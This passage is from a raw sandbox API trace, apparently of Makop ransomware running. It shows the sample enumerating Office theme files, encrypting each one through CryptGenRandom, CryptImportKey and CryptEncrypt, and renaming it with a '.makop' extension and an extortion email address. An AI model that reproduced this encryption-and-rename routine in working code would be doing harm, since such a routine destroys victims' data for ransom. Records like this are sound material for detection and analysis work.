SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.089] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x20e, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x20e, lpOverlapped=0x0) returned 1 [0098.089] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x210, dwBufLen=0x210 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x210) returned 1 [0098.089] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.089] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x210, lpOverlapped=0x0) returned 1 [0098.089] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.089] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x2d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.089] SetEndOfFile (hFile=0x138) returned 1 [0098.097] GetProcessHeap () returned 0x48a0000 [0098.098] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0098.098] GetProcessHeap () returned 0x48a0000 [0098.098] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0098.098] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 118 [0098.098] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0098.103] CloseHandle (hObject=0x138) returned 1 [0098.103] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x563, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0098.103] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0098.103] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.105] GetProcessHeap () returned 0x48a0000 [0098.105] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0098.105] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0098.105] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0098.105] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xd, lpOverlapped=0x0) returned 1 [0098.110] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.110] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.110] GetProcessHeap () returned 0x48a0000 [0098.110] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0098.110] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0098.110] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.110] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0098.111] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0098.111] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0098.111] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0098.111] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0098.111] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0098.112] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.112] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.112] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.112] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x563, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x563, lpOverlapped=0x0) returned 1 [0098.112] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x570, dwBufLen=0x570 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x570) returned 1 [0098.112] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.112] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x570, lpOverlapped=0x0) returned 1 [0098.112] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.113] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x644, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.113] SetEndOfFile (hFile=0x138) returned 1 [0098.119] GetProcessHeap () returned 0x48a0000 [0098.119] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0098.119] GetProcessHeap () returned 0x48a0000 [0098.119] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0098.119] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0098.119] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0098.120] CloseHandle (hObject=0x138) returned 1 [0098.121] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0098.122] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0098.122] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.122] GetProcessHeap () returned 0x48a0000 [0098.122] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0098.122] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0098.122] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0098.122] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xd, lpOverlapped=0x0) returned 1 [0098.127] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.127] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.127] GetProcessHeap () returned 0x48a0000 [0098.127] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0098.127] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0098.127] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.127] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0098.128] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0098.128] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0098.128] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0098.128] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0098.128] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0098.129] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.129] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.129] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.129] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xbbf3, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xbbf3, lpOverlapped=0x0) returned 1 [0098.131] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xbc00, dwBufLen=0xbc00 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xbc00) returned 1 [0098.132] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.132] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xbc00, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xbc00, lpOverlapped=0x0) returned 1 [0098.132] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.132] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xbcd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.132] SetEndOfFile (hFile=0x138) returned 1 [0098.147] GetProcessHeap () returned 0x48a0000 [0098.147] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0098.147] GetProcessHeap () returned 0x48a0000 [0098.147] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0098.147] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0098.147] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0098.148] CloseHandle (hObject=0x138) returned 1 [0098.149] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0098.149] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0098.149] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK", cAlternateFileName="")) returned 1 [0098.149] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK") returned 63 [0098.149] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*.*") returned 67 [0098.149] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0098.150] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.150] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x107bd500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x107bd500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xc649, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.ELM", cAlternateFileName="")) returned 1 [0098.150] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM") returned 75 [0098.150] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.150] GetProcessHeap () returned 0x48a0000 [0098.150] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0098.150] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0098.151] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0098.151] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x7, lpOverlapped=0x0) returned 1 [0098.232] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.232] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.232] GetProcessHeap () returned 0x48a0000 [0098.232] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0098.233] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0098.233] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.233] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0098.233] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0098.233] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0098.233] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0098.233] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0098.234] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0098.234] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.234] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.234] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.234] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc649, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xc649, lpOverlapped=0x0) returned 1 [0098.236] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xc650, dwBufLen=0xc650 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xc650) returned 1 [0098.237] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.237] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc650, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xc650, lpOverlapped=0x0) returned 1 [0098.237] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.237] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xc724, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.238] SetEndOfFile (hFile=0x138) returned 1 [0098.245] GetProcessHeap () returned 0x48a0000 [0098.245] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0098.245] GetProcessHeap () returned 0x48a0000 [0098.245] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0098.245] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0098.245] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0098.247] CloseHandle (hObject=0x138) returned 1 [0098.247] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.INF", cAlternateFileName="")) returned 1 [0098.247] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF") returned 75 [0098.248] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.249] GetProcessHeap () returned 0x48a0000 [0098.249] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) 